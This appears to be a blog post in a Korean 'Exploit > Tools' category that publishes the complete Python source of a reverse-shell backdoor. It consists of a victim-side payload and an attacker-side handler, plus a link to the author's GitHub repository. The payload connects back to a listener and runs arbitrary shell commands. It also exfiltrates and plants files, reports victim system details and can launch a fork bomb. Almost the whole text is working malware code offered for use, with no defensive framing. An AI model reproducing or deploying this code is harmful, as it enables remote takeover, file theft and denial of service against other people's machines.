-
Payload
import os import time import socket import getpass import platform import subprocess from colorama import Fore, Style def client_connect(): global sock try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((RHOST, RPORT)) return sock except ConnectionRefusedError: time.sleep(5) def header(): header = f"""{Fore.LIGHTBLUE_EX}┌──({Fore.CYAN}{getpass.getuser()}{Style.RESET_ALL}\U0001f480{Style.RESET_ALL}{Fore.CYAN}{platform.node()}{Fore.LIGHTBLUE_EX})-[{Style.RESET_ALL}{os.getcwd()}{Fore.LIGHTBLUE_EX}]\n└─{Fore.CYAN}#{Style.RESET_ALL} """ sock.send(header.encode()) def sysinfo(): sysinfo = f"""{Fore.CYAN}Operating System : {Style.RESET_ALL}{platform.system()} {Fore.CYAN}Computer Name : {Style.RESET_ALL}{platform.node()} {Fore.CYAN}Username : {Style.RESET_ALL}{getpass.getuser()} {Fore.CYAN}Release Version : {Style.RESET_ALL}{platform.release()} {Fore.CYAN}Processor Architecture : {Style.RESET_ALL}{platform.processor()}\n""" sock.send(sysinfo.encode()) def helper(): helper = f"""{Fore.CYAN}download : {Style.RESET_ALL}remote download file {Fore.CYAN}upload : {Style.RESET_ALL}remote upload file {Fore.CYAN}sysinfo : {Style.RESET_ALL}show victim system infomation {Fore.CYAN}bomb : {Style.RESET_ALL}process bomb {Fore.CYAN}exit : {Style.RESET_ALL}exit the backdoor\n""" sock.send(helper.encode()) def bomb(): # Only support Linux sock.send("\n SUCCESS\U0001f480\n".encode()) while True: os.fork() sock.close() def download(): file_path = sock.recv(5000) file_path = file_path.decode() file = open(file_path, "rb") file_data = file.read() sock.send(file_data) def upload(): file_name = sock.recv(6000) new_file = open(file_name, "wb") file_data = sock.recv(6000) new_file.write(file_data) new_file.close() if __name__=="__main__": RHOST = "127.0.0.1" RPORT = 4444 intBuff = 2048 client_connect() while True: try: header() command = sock.recv(intBuff).decode() if command.startswith("cd"): try: os.chdir(command[3:].replace("\\n","")) command="\n" sock.send(command.encode("euc-kr")) except FileNotFoundError: time.sleep(5) del sock client_connect() elif command == "download": download() elif command == "upload": upload() elif command == "sysinfo": sysinfo() elif command == "bomb": bomb() elif command == "help": helper() elif command.startswith("exit"): exit_msg = f"exit" sock.send(exit_msg.encode()) sock.close() time.sleep(5) del sock client_connect() else: comm = subprocess.Popen(str(command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output = comm.stdout.read()+ comm.stderr.read() sock.send(output) except: time.sleep(5) del sock client_connect()
Handler
import os import socket def logo(): print("""\033[1;36m ┬ ┬┌─┐┌─┐┬┌─┬┌┐┌┌┬┐┌─┐┌─┐┌┐┌┌─┐┌┬┐┬ ┬┌─┐┬─┐┬┌─ ├─┤├─┤│ ├┴┐││││ │ │ │├─┤│││├┤ │ ││││ │├┬┘├┴┐ ┴ ┴┴ ┴└─┘┴ ┴┴┘└┘ ┴ └─┘┴ ┴┘└┘└─┘ ┴ └┴┘└─┘┴└─┴ ┴\033[1;m ┬ ┬┌─┐┌┐┌┌┬┐┬ ┌─┐┬─┐ ├─┤├─┤│││ │││ ├┤ ├┬┘ ┴ ┴┴ ┴┘└┘─┴┘┴─┘└─┘┴└─""") print('') print(""" [ Coded by @hackintoanetwork \033[1;36m|\033[1;m Website : hackintoanetwork.com ]""") print('') def server_connect(): global sock global conn global addr sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((LHOST, LPORT)) sock.listen() conn, addr = sock.accept() def Victim(): print("\n\033[1;36m [+] Connected to\033[1;m", addr) print('') if __name__=="__main__": logo() LHOST = "127.0.0.1" LPORT = (input(" PORT : \033[1;36m")) if LPORT == '': print(" \033[1;mDEFAULT PORT -> \033[1;36m4444\033[1;m") LPORT = 4444 LPORT = int(LPORT) print("") print("\033[1;36m [+] Waiting for Connection...") server_connect() Victim() try: while True: header = conn.recv(2048).decode("utf-8","ignore") command = input(header) if command == "download": conn.send(command.encode()) print("") file_path = input(str("ENTER THE FILE PATH : ")) conn.send(file_path.encode()) recv_file = conn.recv(65535) print("") file_name = input(str("ENTER THE FILE NAME : ")) new_file = open(file_name, "wb") new_file.write(recv_file) new_file.close() print("") print(file_name, " Has been downloaded and saved\n") print("") elif command == "upload": conn.send(command.encode()) file = input(str("ENTER THE FILE NAME : ")) print("") file_name = input(str("ENTER THE FILE NAME FOR THE FILE BE SAVED : ")) print("") data = open(file, "rb") file_data = data.read(7000) conn.send(file_name.encode()) print("") print(file, "HAS BEEN SENT SUCCESSFULLY\n") print("") conn.send(file_data) elif command == "sysinfo": conn.send(command.encode()) system_data = conn.recv(2048).decode() print(system_data) elif command == "help": conn.send(command.encode()) guide = conn.recv(2048).decode() print(guide) elif command == "bomb": conn.send(command.encode()) res = conn.recv(2048).decode() print(res) else: conn.send(command.encode()) data = conn.recv(65535).decode("euc-kr") if data == "exit": sock.close() break print(data) except Exception as ex: print('\033[1;36mError Occurred !\033[1;m', ex)
Github
GitHub - hackintoanetwork/Backdoor
Contribute to hackintoanetwork/Backdoor development by creating an account on GitHub.
github.com
'Exploit > Tools' 카테고리의 다른 글
Cobalt Strike - Kali Linux 2022.3 ARM64 (0) 2022.09.11 댓글 0